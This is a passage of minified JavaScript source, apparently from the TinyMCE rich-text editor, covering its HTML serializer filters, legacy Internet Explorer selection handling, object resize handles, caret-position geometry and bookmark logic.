n=e.length;n--;)e[n].attr(t,null)}),x.push(e))}var
y,b,C,x=["data-mce-selected"];return
o&&(y=o.dom,b=o.schema),y=y||p,b=b||new
a(e),e.entity_encoding=e.entity_encoding||"named",e.remove_trailing_brs=!("remove_trailing_brs"in
e)||e.remove_trailing_brs,C=new
t(e,b),C.addAttributeFilter("data-mce-tabindex",function(e,t){for(var
n=e.length,r;n--;)r=e[n],r.attr("tabindex",r.attributes.map["data-mce-tabindex"]),r.attr(t,null)}),C.addAttributeFilter("src,href,style",function(t,n){for(var
r=t.length,i,o,a="data-mce-"+n,s=e.url_converter,l=e.url_converter_scope,u;r--;)i=t[r],o=i.attributes.map[a],o!==u?(i.attr(n,o.length>0?o:null),i.attr(a,null)):(o=i.attributes.map[n],"style"===n?o=y.serializeStyle(y.parseStyle(o),i.name):s&&(o=s.call(l,o,n,i.name)),i.attr(n,o.length>0?o:null))}),C.addAttributeFilter("class",function(e){for(var
t=e.length,n,r;t--;)n=e[t],r=n.attr("class"),r&&(r=n.attr("class").replace(/(?:^|\s)mce-item-\w+(?!\S)/g,""),n.attr("class",r.length>0?r:null))}),C.addAttributeFilter("data-mce-type",function(e,t,n){for(var
r=e.length,i;r--;)i=e[r],"bookmark"!==i.attributes.map["data-mce-type"]||n.cleanup||i.remove()}),C.addNodeFilter("noscript",function(e){for(var
t=e.length,n;t--;)n=e[t].firstChild,n&&(n.value=r.decode(n.value))}),C.addNodeFilter("script,style",function(e,t){function
n(e){return
e.replace(/(<!--\[CDATA\[|\]\]-->)/g,"\n").replace(/^[\r\n]*|[\r\n]*$/g,"").replace(/^\s*((<!--)?(\s*\/\/)?\s*<!\[CDATA\[|(<!--\s*)?\/\*\s*<!\[CDATA\[\s*\*\/|(\/\/)?\s*<!--|\/\*\s*<!--\s*\*\/)\s*[\r\n]*/gi,"").replace(/\s*(\/\*\s*\]\]>\s*\*\/(-->)?|\s*\/\/\s*\]\]>(-->)?|\/\/\s*(-->)?|\]\]>|\/\*\s*-->\s*\*\/|\s*-->\s*)\s*$/g,"")}for(var
r=e.length,i,o,a;r--;)i=e[r],o=i.firstChild?i.firstChild.value:"","script"===t?(a=i.attr("type"),a&&i.attr("type","mce-no/type"==a?null:a.replace(/^mce\-/,"")),o.length>0&&(i.firstChild.value="//
<![CDATA[\n"+n(o)+"\n//
]]>")):o.length>0&&(i.firstChild.value="<!--\n"+n(o)+"\n-->")}),C.addNodeFilter("#comment",function(e){for(var
t=e.length,n;t--;)n=e[t],0===n.value.indexOf("[CDATA[")?(n.name="#cdata",n.type=4,n.value=n.value.replace(/^\[CDATA\[|\]\]$/g,"")):0===n.value.indexOf("mce:protected
")&&(n.name="#text",n.type=3,n.raw=!0,n.value=unescape(n.value).substr(14))}),C.addNodeFilter("xml:namespace,input",function(e,t){for(var
n=e.length,r;n--;)r=e[n],7===r.type?r.remove():1===r.type&&("input"!==t||"type"in
r.attributes.map||r.attr("type","text"))}),C.addAttributeFilter("data-mce-src,data-mce-href,data-mce-style,data-mce-selected,data-mce-expando,data-mce-type,data-mce-resize",function(e,t){for(var
n=e.length;n--;)e[n].attr(t,null)}),{schema:b,addNodeFilter:C.addNodeFilter,addAttributeFilter:C.addAttributeFilter,serialize:function(t,n){var
r=this,o,a,l,p,h,m;return
s.ie&&y.select("script,style,select,map").length>0?(h=t.innerHTML,t=t.cloneNode(!1),y.setHTML(t,h)):t=t.cloneNode(!0),o=document.implementation,o.createHTMLDocument&&(a=o.createHTMLDocument(""),d("BODY"==t.nodeName?t.childNodes:[t],function(e){a.body.appendChild(a.importNode(e,!0))}),t="BODY"!=t.nodeName?a.body.firstChild:a.body,l=y.doc,y.doc=a),n=n||{},n.format=n.format||"html",n.selection&&(n.forced_root_block=""),n.no_events||(n.node=t,r.onPreProcess(n)),m=C.parse(f(n.getInner?t.innerHTML:y.getOuterHTML(t)),n),c(m),p=new
i(e,b),n.content=p.serialize(m),n.cleanup||(n.content=u.trim(n.content),n.content=n.content.replace(/\uFEFF/g,"")),n.no_events||r.onPostProcess(n),l&&(y.doc=l),n.node=null,n.content},addRules:function(e){b.addValidElements(e)},setRules:function(e){b.setValidElements(e)},onPreProcess:function(e){o&&o.fire("PreProcess",e)},onPostProcess:function(e){o&&o.fire("PostProcess",e)},addTempAttr:v,trimHtml:h,getTrimmedContent:g,trimContent:m}}}),r(H,[],function(){function
e(e){function t(t,n){var
r,i=0,o,a,s,l,u,c,d=-1,f;if(r=t.duplicate(),r.collapse(n),f=r.parentElement(),f.ownerDocument===e.dom.doc){for(;"false"===f.contentEditable;)f=f.parentNode;if(!f.hasChildNodes())return{node:f,inside:1};for(s=f.children,o=s.length-1;i<=o;)if(c=Math.floor((i+o)/2),l=s[c],r.moveToElementText(l),d=r.compareEndPoints(n?"StartToStart":"EndToEnd",t),d>0)o=c-1;else{if(!(d<0))return{node:l};i=c+1}if(d<0)for(l?r.collapse(!1):(r.moveToElementText(f),r.collapse(!0),l=f,a=!0),u=0;0!==r.compareEndPoints(n?"StartToStart":"StartToEnd",t)&&0!==r.move("character",1)&&f==r.parentElement();)u++;else
for(r.collapse(!0),u=0;0!==r.compareEndPoints(n?"StartToStart":"StartToEnd",t)&&0!==r.move("character",-1)&&f==r.parentElement();)u++;return{node:l,position:d,offset:u,inside:a}}}function
n(){function n(e){var
n=t(o,e),r,i,s=0,l,u,c;if(r=n.node,i=n.offset,n.inside&&!r.hasChildNodes())return
void a[e?"setStart":"setEnd"](r,0);if(i===u)return void
a[e?"setStartBefore":"setEndAfter"](r);if(n.position<0){if(l=n.inside?r.firstChild:r.nextSibling,!l)return
void a[e?"setStartAfter":"setEndAfter"](r);if(!i)return
void(3==l.nodeType?a[e?"setStart":"setEnd"](l,0):a[e?"setStartBefore":"setEndBefore"](l));for(;l;){if(3==l.nodeType&&(c=l.nodeValue,s+=c.length,s>=i)){r=l,s-=i,s=c.length-s;break}l=l.nextSibling}}else{if(l=r.previousSibling,!l)return
a[e?"setStartBefore":"setEndBefore"](r);if(!i)return
void(3==r.nodeType?a[e?"setStart":"setEnd"](l,r.nodeValue.length):a[e?"setStartAfter":"setEndAfter"](l));for(;l;){if(3==l.nodeType&&(s+=l.nodeValue.length,s>=i)){r=l,s-=i;break}l=l.previousSibling}}a[e?"setStart":"setEnd"](r,s)}var
o=e.getRng(),a=i.createRng(),s,l,u,c,d;if(s=o.item?o.item(0):o.parentElement(),s.ownerDocument!=i.doc)return
a;if(l=e.isCollapsed(),o.item)return
a.setStart(s.parentNode,i.nodeIndex(s)),a.setEnd(a.startContainer,a.startOffset+1),a;try{n(!0),l||n()}catch(f){if(f.number!=-2147024809)throw
f;d=r.getBookmark(2),u=o.duplicate(),u.collapse(!0),s=u.parentElement(),l||(u=o.duplicate(),u.collapse(!1),c=u.parentElement(),c.innerHTML=c.innerHTML),s.innerHTML=s.innerHTML,r.moveToBookmark(d),o=e.getRng(),n(!0),l||n()}return
a}var r=this,i=e.dom,o=!1;this.getBookmark=function(n){function r(e){var
t,n,r,o,a=[];for(t=e.parentNode,n=i.getRoot().parentNode;t!=n&&9!==t.nodeType;){for(r=t.children,o=r.length;o--;)if(e===r[o]){a.push(o);break}e=t,t=t.parentNode}return
a}function o(e){var
n;if(n=t(a,e))return{position:n.position,offset:n.offset,indexes:r(n.node),inside:n.inside}}var
a=e.getRng(),s={};return
2===n&&(a.item?s.start={ctrl:!0,indexes:r(a.item(0))}:(s.start=o(!0),e.isCollapsed()||(s.end=o()))),s},this.moveToBookmark=function(e){function
t(e){var
t,n,r,o;for(t=i.getRoot(),n=e.length-1;n>=0;n--)o=t.children,r=e[n],r<=o.length-1&&(t=o[r]);return
t}function n(n){var
i=e[n?"start":"end"],a,s,l,u;i&&(a=i.position>0,s=o.createTextRange(),s.moveToElementText(t(i.indexes)),u=i.offset,u!==l?(s.collapse(i.inside||a),s.moveStart("character",a?-u:u)):s.collapse(n),r.setEndPoint(n?"StartToStart":"EndToStart",s),n&&r.collapse(!0))}var
r,o=i.doc.body;e.start&&(e.start.ctrl?(r=o.createControlRange(),r.addElement(t(e.start.indexes)),r.select()):(r=o.createTextRange(),n(!0),n(),r.select()))},this.addRange=function(t){function
n(e){var
t,n,a,d,h;a=i.create("a"),t=e?s:u,n=e?l:c,d=r.duplicate(),t!=f&&t!=f.documentElement||(t=p,n=0),3==t.nodeType?(t.parentNode.insertBefore(a,t),d.moveToElementText(a),d.moveStart("character",n),i.remove(a),r.setEndPoint(e?"StartToStart":"EndToEnd",d)):(h=t.childNodes,h.length?(n>=h.length?i.insertAfter(a,h[h.length-1]):t.insertBefore(a,h[n]),d.moveToElementText(a)):t.canHaveHTML&&(t.innerHTML="<span>&#xFEFF;</span>",a=t.firstChild,d.moveToElementText(a),d.collapse(o)),r.setEndPoint(e?"StartToStart":"EndToEnd",d),i.remove(a))}var
r,a,s,l,u,c,d,f=e.dom.doc,p=f.body,h,m;if(s=t.startContainer,l=t.startOffset,u=t.endContainer,c=t.endOffset,r=p.createTextRange(),s==u&&1==s.nodeType){if(l==c&&!s.hasChildNodes()){if(s.canHaveHTML)return
d=s.previousSibling,d&&!d.hasChildNodes()&&i.isBlock(d)?d.innerHTML="&#xFEFF;":d=null,s.innerHTML="<span>&#xFEFF;</span><span>&#xFEFF;</span>",r.moveToElementText(s.lastChild),r.select(),i.doc.selection.clear(),s.innerHTML="",void(d&&(d.innerHTML=""));l=i.nodeIndex(s),s=s.parentNode}if(l==c-1)try{if(m=s.childNodes[l],a=p.createControlRange(),a.addElement(m),a.select(),h=e.getRng(),h.item&&m===h.item(0))return}catch(g){}}n(!0),n(),r.select()},this.getRangeAt=n}return
e}),r(I,[d],function(e){return{BACKSPACE:8,DELETE:46,DOWN:40,ENTER:13,LEFT:37,RIGHT:39,SPACEBAR:32,TAB:9,UP:38,modifierPressed:function(e){return
e.shiftKey||e.ctrlKey||e.altKey||this.metaKeyPressed(e)},metaKeyPressed:function(t){return
e.mac?t.metaKey:t.ctrlKey&&!t.altKey}}}),r(F,[I,m,c,d,_],function(e,t,n,r,i){function
o(e,t){for(;t&&t!=e;){if(s(t)||a(t))return t;t=t.parentNode}return
null}var a=i.isContentEditableFalse,s=i.isContentEditableTrue;return
function(i,s){function l(e){var t=s.settings.object_resizing;return
t!==!1&&!r.iOS&&("string"!=typeof
t&&(t="table,img,div"),"false"!==e.getAttribute("data-mce-resize")&&(e!=s.getBody()&&s.dom.is(e,t)))}function
u(t){var
n,r,i,o,a;n=t.screenX-L,r=t.screenY-M,U=n*B[2]+H,W=r*B[3]+I,U=U<5?5:U,W=W<5?5:W,i="IMG"==k.nodeName&&s.settings.resize_img_proportional!==!1?!e.modifierPressed(t):e.modifierPressed(t)||"IMG"==k.nodeName&&B[2]*B[3]!==0,i&&(j(n)>j(r)?(W=Y(U*F),U=Y(W/F)):(U=Y(W/F),W=Y(U*F))),_.setStyles(T,{width:U,height:W}),o=B.startPos.x+n,a=B.startPos.y+r,o=o>0?o:0,a=a>0?a:0,_.setStyles(R,{left:o,top:a,display:"block"}),R.innerHTML=U+"
&times;
"+W,B[2]<0&&T.clientWidth<=U&&_.setStyle(T,"left",P+(H-U)),B[3]<0&&T.clientHeight<=W&&_.setStyle(T,"top",O+(I-W)),n=X.scrollWidth-K,r=X.scrollHeight-G,n+r!==0&&_.setStyles(R,{left:o-n,top:a-r}),z||(s.fire("ObjectResizeStart",{target:k,width:H,height:I}),z=!0)}function
c(){function
e(e,t){t&&(k.style[e]||!s.schema.isValid(k.nodeName.toLowerCase(),e)?_.setStyle(k,e,t):_.setAttrib(k,e,t))}z=!1,e("width",U),e("height",W),_.unbind(V,"mousemove",u),_.unbind(V,"mouseup",c),$!=V&&(_.unbind($,"mousemove",u),_.unbind($,"mouseup",c)),_.remove(T),_.remove(R),q&&"TABLE"!=k.nodeName||d(k),s.fire("ObjectResized",{target:k,width:U,height:W}),_.setAttrib(k,"style",_.getAttrib(k,"style")),s.nodeChanged()}function
d(e,t,n){var
i,o,a,d,p;f(),x(),i=_.getPos(e,X),P=i.x,O=i.y,p=e.getBoundingClientRect(),o=p.width||p.right-p.left,a=p.height||p.bottom-p.top,k!=e&&(C(),k=e,U=W=0),d=s.fire("ObjectSelected",{target:e}),l(e)&&!d.isDefaultPrevented()?S(A,function(e,i){function
s(t){L=t.screenX,M=t.screenY,H=k.clientWidth,I=k.clientHeight,F=I/H,B=e,e.startPos={x:o*e[0]+P,y:a*e[1]+O},K=X.scrollWidth,G=X.scrollHeight,T=k.cloneNode(!0),_.addClass(T,"mce-clonedresizable"),_.setAttrib(T,"data-mce-bogus","all"),T.contentEditable=!1,T.unSelectabe=!0,_.setStyles(T,{left:P,top:O,margin:0}),T.removeAttribute("data-mce-selected"),X.appendChild(T),_.bind(V,"mousemove",u),_.bind(V,"mouseup",c),$!=V&&(_.bind($,"mousemove",u),_.bind($,"mouseup",c)),R=_.add(X,"div",{"class":"mce-resize-helper","data-mce-bogus":"all"},H+"
&times; "+I)}var l;return
t?void(i==t&&s(n)):(l=_.get("mceResizeHandle"+i),l&&_.remove(l),l=_.add(X,"div",{id:"mceResizeHandle"+i,"data-mce-bogus":"all","class":"mce-resizehandle",unselectable:!0,style:"cursor:"+i+"-resize;
margin:0;
padding:0"}),11===r.ie&&(l.contentEditable=!1),_.bind(l,"mousedown",function(e){e.stopImmediatePropagation(),e.preventDefault(),s(e)}),e.elm=l,void
_.setStyles(l,{left:o*e[0]+P-l.offsetWidth/2,top:a*e[1]+O-l.offsetHeight/2}))}):f(),k.setAttribute("data-mce-selected","1")}function
f(){var
e,t;x(),k&&k.removeAttribute("data-mce-selected");for(e
in
A)t=_.get("mceResizeHandle"+e),t&&(_.unbind(t),_.remove(t))}function
p(e){function t(e,t){if(e)do if(e===t)return!0;while(e=e.parentNode)}var
n,r;if(!z&&!s.removed)return
S(_.select("img[data-mce-selected],hr[data-mce-selected]"),function(e){e.removeAttribute("data-mce-selected")}),r="mousedown"==e.type?e.target:i.getNode(),r=_.$(r).closest(q?"table":"table,img,hr")[0],t(r,X)&&(w(),n=i.getStart(!0),t(n,r)&&t(i.getEnd(!0),r)&&(!q||r!=n&&"IMG"!==n.nodeName))?void
d(r):void f()}function
h(e,t,n){e&&e.attachEvent&&e.attachEvent("on"+t,n)}function
m(e,t,n){e&&e.detachEvent&&e.detachEvent("on"+t,n)}function
g(e){var
t=e.srcElement,n,r,i,o,a,l,u;n=t.getBoundingClientRect(),l=D.clientX-n.left,u=D.clientY-n.top;for(r
in
A)if(i=A[r],o=t.offsetWidth*i[0],a=t.offsetHeight*i[1],j(o-l)<8&&j(a-u)<8){B=i;break}z=!0,s.fire("ObjectResizeStart",{target:k,width:k.clientWidth,height:k.clientHeight}),s.getDoc().selection.empty(),d(t,r,D)}function
v(e){e.preventDefault?e.preventDefault():e.returnValue=!1}function
y(e){return a(o(s.getBody(),e))}function b(e){var t=e.srcElement;
if(y(t))return void
v(e);if(t!=k){if(s.fire("ObjectSelected",{target:t}),C(),0===t.id.indexOf("mceResizeHandle"))return
void(e.returnValue=!1);"IMG"!=t.nodeName&&"TABLE"!=t.nodeName||(f(),k=t,h(t,"resizestart",g))}}function
C(){m(k,"resizestart",g)}function x(){for(var e in A){var
t=A[e];t.elm&&(_.unbind(t.elm),delete t.elm)}}function
w(){try{s.getDoc().execCommand("enableObjectResizing",!1,!1)}catch(e){}}function
E(e){var t;if(q){t=V.body.createControlRange();try{return
t.addElement(e),t.select(),!0}catch(n){}}}function
N(){k=T=null,q&&(C(),m(X,"controlselect",b))}var
_=s.dom,S=t.each,k,T,R,A,B,D,L,M,P,O,H,I,F,z,U,W,V=s.getDoc(),$=document,q=r.ie&&r.ie<11,j=Math.abs,Y=Math.round,X=s.getBody(),K,G;A={nw:[0,0,-1,-1],ne:[1,0,1,-1],se:[1,1,1,1],sw:[0,1,-1,1]};var
J=".mce-content-body";return s.contentStyles.push(J+"
div.mce-resizehandle {position: absolute;border: 1px solid
black;box-sizing: box-sizing;background: #FFF;width: 7px;height:
7px;z-index: 10000}"+J+" .mce-resizehandle:hover {background:
#000}"+J+" img[data-mce-selected],"+J+"
hr[data-mce-selected] {outline: 1px solid black;resize:
none}"+J+" .mce-clonedresizable {position:
absolute;"+(r.gecko?"":"outline: 1px dashed
black;")+"opacity: .5;filter: alpha(opacity=50);z-index:
10000}"+J+" .mce-resize-helper {background: #555;background:
rgba(0,0,0,0.75);border-radius: 3px;border: 1px;color: white;display:
none;font-family: sans-serif;font-size: 12px;white-space:
nowrap;line-height: 14px;margin: 5px 10px;padding: 5px;position:
absolute;z-index:
10001}"),s.on("init",function(){q?(s.on("ObjectResized",function(e){"TABLE"!=e.target.nodeName&&(f(),E(e.target))}),h(X,"controlselect",b),s.on("mousedown",function(e){D=e})):(w(),r.ie>=11&&(s.on("mousedown
click",function(e){var
t=e.target,n=t.nodeName;z||!/^(TABLE|IMG|HR)$/.test(n)||y(t)||(s.selection.select(t,"TABLE"==n),"mousedown"==e.type&&s.nodeChanged())}),s.dom.bind(X,"mscontrolselect",function(e){function
t(e){n.setEditorTimeout(s,function(){s.selection.select(e)})}return
y(e.target)?(e.preventDefault(),void
t(e.target)):void(/^(TABLE|IMG|HR)$/.test(e.target.nodeName)&&(e.preventDefault(),"IMG"==e.target.tagName&&t(e.target)))})));var
e=n.throttle(function(e){s.composing||p(e)});s.on("nodechange
ResizeEditor ResizeWindow drop",e),s.on("keyup
compositionend",function(t){k&&"TABLE"==k.nodeName&&e(t)}),s.on("hide
blur",f)}),s.on("remove",x),{isResizable:l,showResizeRect:d,hideResizeRect:f,updateResizeRect:p,controlSelect:E,destroy:N}}}),r(z,[],function(){function
e(e){return function(){return e}}function t(e){return
function(t){return!e(t)}}function n(e,t){return function(n){return
e(t(n))}}function r(){var e=s.call(arguments);return function(t){for(var
n=0;n<e.length;n++)if(e[n](t))return!0;return!1}}function i(){var
e=s.call(arguments);return function(t){for(var
n=0;n<e.length;n++)if(!e[n](t))return!1;return!0}}function o(e){var
t=s.call(arguments);return
t.length-1>=e.length?e.apply(this,t.slice(1)):function(){var
e=t.concat([].slice.call(arguments));return o.apply(this,e)}}function
a(){}var
s=[].slice;return{constant:e,negate:t,and:i,or:r,curry:o,compose:n,noop:a}}),r(U,[_,h,k],function(e,t,n){function
r(e){return!m(e)&&(d(e)?!f(e.parentNode):p(e)||c(e)||h(e)||u(e))}function
i(e,t){for(e=e.parentNode;e&&e!=t;e=e.parentNode){if(u(e))return!1;if(l(e))return!0}return!0}function
o(e){return!!u(e)&&t.reduce(e.getElementsByTagName("*"),function(e,t){return
e||l(t)},!1)!==!0}function a(e){return p(e)||o(e)}function s(e,t){return
r(e)&&i(e,t)}var
l=e.isContentEditableTrue,u=e.isContentEditableFalse,c=e.isBr,d=e.isText,f=e.matchNodeNames("script
style textarea"),p=e.matchNodeNames("img input textarea hr iframe
video audio
object"),h=e.matchNodeNames("table"),m=n.isCaretContainer;return{isCaretCandidate:r,isInEditable:i,isAtomic:a,isEditableCaretCandidate:s}}),r(W,[],function(){function
e(e){return
e?{left:c(e.left),top:c(e.top),bottom:c(e.bottom),right:c(e.right),width:c(e.width),height:c(e.height)}:{left:0,top:0,bottom:0,right:0,width:0,height:0}}function
t(t,n){return
t=e(t),n?t.right=t.left:(t.left=t.left+t.width,t.right=t.left),t.width=0,t}function
n(e,t){return
e.left===t.left&&e.top===t.top&&e.bottom===t.bottom&&e.right===t.right}function
r(e,t,n){return
e>=0&&e<=Math.min(t.height,n.height)/2}function i(e,t){return
e.bottom<t.top||!(e.top>t.bottom)&&r(t.top-e.bottom,e,t)}function
o(e,t){return
e.top>t.bottom||!(e.bottom<t.top)&&r(t.bottom-e.top,e,t)}function
a(e,t){return e.left<t.left}function s(e,t){return
e.right>t.right}function l(e,t){return
i(e,t)?-1:o(e,t)?1:a(e,t)?-1:s(e,t)?1:0}function u(e,t,n){return
t>=e.left&&t<=e.right&&n>=e.top&&n<=e.bottom}var
c=Math.round;return{clone:e,collapse:t,isEqual:n,isAbove:i,isBelow:o,isLeft:a,isRight:s,compare:l,containsXY:u}}),r(V,[],function(){function
e(e){return"string"==typeof
e&&e.charCodeAt(0)>=768&&t.test(e)}var t=new
RegExp("[\u0300-\u036f\u0483-\u0487\u0488-\u0489\u0591-\u05bd\u05bf\u05c1-\u05c2\u05c4-\u05c5\u05c7\u0610-\u061a\u064b-\u065f\u0670\u06d6-\u06dc\u06df-\u06e4\u06e7-\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0859-\u085b\u08e3-\u0902\u093a\u093c\u0941-\u0948\u094d\u0951-\u0957\u0962-\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2-\u09e3\u0a01-\u0a02\u0a3c\u0a41-\u0a42\u0a47-\u0a48\u0a4b-\u0a4d\u0a51\u0a70-\u0a71\u0a75\u0a81-\u0a82\u0abc\u0ac1-\u0ac5\u0ac7-\u0ac8\u0acd\u0ae2-\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62-\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c00\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55-\u0c56\u0c62-\u0c63\u0c81\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc-\u0ccd\u0cd5-\u0cd6\u0ce2-\u0ce3\u0d01\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62-\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb-\u0ebc\u0ec8-\u0ecd\u0f18-\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86-\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039-\u103a\u103d-\u103e\u1058-\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085-\u1086\u108d\u109d\u135d-\u135f\u1712-\u1714\u1732-\u1734\u1752-\u1753\u1772-\u1773\u17b4-\u17b5\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927-\u1928\u1932\u1939-\u193b\u1a17-\u1a18\u1a1b\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1ab0-\u1abd\u1abe\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80-\u1b81\u1ba2-\u1ba5\u1ba8-\u1ba9\u1bab-\u1bad\u1be6\u1be8-\u1be9\u1bed\u1bef-\u1bf1\u1c2c-\u1c33\u1c36-\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1cf4\u1cf8-\u1cf9\u1dc0-\u1df5\u1dfc-\u1dff\u200c-\u200d\u20d0-\u20dc\u20dd-\u20e0\u20e1\u20e2-\u20e4\u20e5-\u20f0\u2cef-\u2cf1\u2d7f\u2de0-\u2dff\u302a-\u302d\u302e-\u302f\u3099-\u309a\ua66f\ua670-\ua672\ua674-\ua67d\ua69e-\ua69f\ua6f0-\ua6f1\ua802\ua806\ua80b\ua825-\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\ua9e5\uaa29-\uaa2e\uaa31-\uaa32\uaa35-\uaa36\uaa43\uaa4c\uaa7c\uaab0\uaab2-\uaab4\uaab7-\uaab8\uaabe-\uaabf\uaac1\uaaec-\uaaed\uaaf6\uabe5\uabe8\uabed\ufb1e\ufe00-\ufe0f\ufe20-\ufe2f\uff9e-\uff9f]");return{isExtendingChar:e}}),r($,[z,_,w,T,U,W,V],function(e,t,n,r,i,o,a){function
s(e){return"createRange"in
e?e.createRange():n.DOM.createRng()}function l(e){return
e&&/[\r\n\t ]/.test(e)}function u(e){var
t=e.startContainer,n=e.startOffset,r;return!!(l(e.toString())&&v(t.parentNode)&&(r=t.data,l(r[n-1])||l(r[n+1])))}function
c(e){function t(e){var
t=e.ownerDocument,n=s(t),r=t.createTextNode("\xa0"),i=e.parentNode,a;return
i.insertBefore(r,e),n.setStart(r,0),n.setEnd(r,1),a=o.clone(n.getBoundingClientRect()),i.removeChild(r),a}function
n(e){var n,r;return
r=e.getClientRects(),n=r.length>0?o.clone(r[0]):o.clone(e.getBoundingClientRect()),b(e)&&0===n.left?t(e):n}function
r(e,t){return e=o.collapse(e,t),e.width=1,e.right=e.left+1,e}function
i(e){0!==e.height&&(c.length>0&&o.isEqual(e,c[c.length-1])||c.push(e))}function
l(e,t){var
o=s(e.ownerDocument);if(t<e.data.length){if(a.isExtendingChar(e.data[t]))return
c;if(a.isExtendingChar(e.data[t-1])&&(o.setStart(e,t),o.setEnd(e,t+1),!u(o)))return
i(r(n(o),!1)),c}t>0&&(o.setStart(e,t-1),o.setEnd(e,t),u(o)||i(r(n(o),!1))),t<e.data.length&&(o.setStart(e,t),o.setEnd(e,t+1),u(o)||i(r(n(o),!0)))}var
c=[],d,p;if(y(e.container()))return
l(e.container(),e.offset()),c;if(f(e.container()))if(e.isAtEnd())p=x(e.container(),e.offset()),y(p)&&l(p,p.data.length),g(p)&&!b(p)&&i(r(n(p),!1));else{if(p=x(e.container(),e.offset()),y(p)&&l(p,0),g(p)&&e.isAtEnd())return
i(r(n(p),!1)),c;d=x(e.container(),e.offset()-1),g(d)&&!b(d)&&(h(d)||h(p)||!g(p))&&i(r(n(d),!1)),g(p)&&i(r(n(p),!0))}return
c}function d(t,n,r){function i(){return y(t)?0===n:0===n}function
o(){return y(t)?n>=t.data.length:n>=t.childNodes.length}function
a(){var e;return
e=s(t.ownerDocument),e.setStart(t,n),e.setEnd(t,n),e}function l(){return
r||(r=c(new d(t,n))),r}function u(){return l().length>0}function
f(e){return e&&t===e.container()&&n===e.offset()}function
p(e){return
x(t,e?n-1:n)}return{container:e.constant(t),offset:e.constant(n),toRange:a,getClientRects:l,isVisible:u,isAtStart:i,isAtEnd:o,isEqual:f,getNode:p}}var
f=t.isElement,p=i.isCaretCandidate,h=t.matchStyleValues("display","block
table"),m=t.matchStyleValues("float","left
right"),g=e.and(f,p,e.negate(m)),v=e.negate(t.matchStyleValues("white-space","pre
pre-line
pre-wrap")),y=t.isText,b=t.isBr,C=n.nodeIndex,x=r.getNode;return
d.fromRangeStart=function(e){return new
d(e.startContainer,e.startOffset)},d.fromRangeEnd=function(e){return new
d(e.endContainer,e.endOffset)},d.after=function(e){return new
d(e.parentNode,C(e)+1)},d.before=function(e){return new
d(e.parentNode,C(e))},d}),r(q,[_,w,z,h,$],function(e,t,n,r,i){function
o(e){var t=e.parentNode;return v(t)?o(t):t}function a(e){return
e?r.reduce(e.childNodes,function(e,t){return
v(t)&&"BR"!=t.nodeName?e=e.concat(a(t)):e.push(t),e},[]):[]}function
s(e,t){for(;(e=e.previousSibling)&&g(e);)t+=e.data.length;return
t}function l(e){return function(t){return e===t}}function u(t){var
n,i,s;return
n=a(o(t)),i=r.findIndex(n,l(t),t),n=n.slice(0,i+1),s=r.reduce(n,function(e,t,r){return
g(t)&&g(n[r-1])&&e++,e},0),n=r.filter(n,e.matchNodeNames(t.nodeName)),i=r.findIndex(n,l(t),t),i-s}function
c(e){var t;return
t=g(e)?"text()":e.nodeName.toLowerCase(),t+"["+u(e)+"]"}function
d(e,t,n){var
r=[];for(t=t.parentNode;t!=e&&(!n||!n(t));t=t.parentNode)r.push(t);return
r}function f(t,i){var o,a,l=[],u,f,p;return
o=i.container(),a=i.offset(),g(o)?u=s(o,a):(f=o.childNodes,a>=f.length?(u="after",a=f.length-1):u="before",o=f[a]),l.push(c(o)),p=d(t,o),p=r.filter(p,n.negate(e.isBogus)),l=l.concat(r.map(p,function(e){return
c(e)})),l.reverse().join("/")+","+u}function
p(t,n,i){var o=a(t);return
o=r.filter(o,function(e,t){return!g(e)||!g(o[t-1])}),o=r.filter(o,e.matchNodeNames(n)),o[i]}function
h(e,t){for(var
n=e,r=0,o;g(n);){if(o=n.data.length,t>=r&&t<=r+o){e=n,t-=r;break}if(!g(n.nextSibling)){e=n,t=o;break}r+=o,n=n.nextSibling}return
t>e.data.length&&(t=e.data.length),new i(e,t)}function
m(e,t){var n,o,a;return
t?(n=t.split(","),t=n[0].split("/"),a=n.length>1?n[1]:"before",o=r.reduce(t,function(e,t){return(t=/([\w\-\(\)]+)\[([0-9]+)\]/.exec(t))?("text()"===t[1]&&(t[1]="#text"),p(e,t[1],parseInt(t[2],10))):null},e),o?g(o)?h(o,parseInt(a,10)):(a="after"===a?y(o)+1:y(o),new
i(o.parentNode,a)):null):null}var
g=e.isText,v=e.isBogus,y=t.nodeIndex;return{create:f,resolve:m}}),r(j,[d,m,k,q,$,_,T],function(e,t,n,r,i,o,a){function
s(s){var u=s.dom;this.getBookmark=function(e,c){function d(e,n){var
r=0;return
t.each(u.select(e),function(e){if("all"!==e.getAttribute("data-mce-bogus"))return
e!=n&&void r++}),r}function f(e){function t(t){var
n,r,i,o=t?"start":"end";n=e[o+"Container"],r=e[o+"Offset"],1==n.nodeType&&"TR"==n.nodeName&&(i=n.childNodes,n=i[Math.min(t?r:r-1,i.length-1)],n&&(r=t?0:n.childNodes.length,e["set"+(t?"Start":"End")](n,r)))}return
t(!0),t(),e}function p(e){function t(e,t){var
